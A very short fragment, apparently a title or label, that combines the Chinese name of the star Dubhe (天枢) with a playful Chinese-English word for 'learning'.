天枢Dubhe 学习ing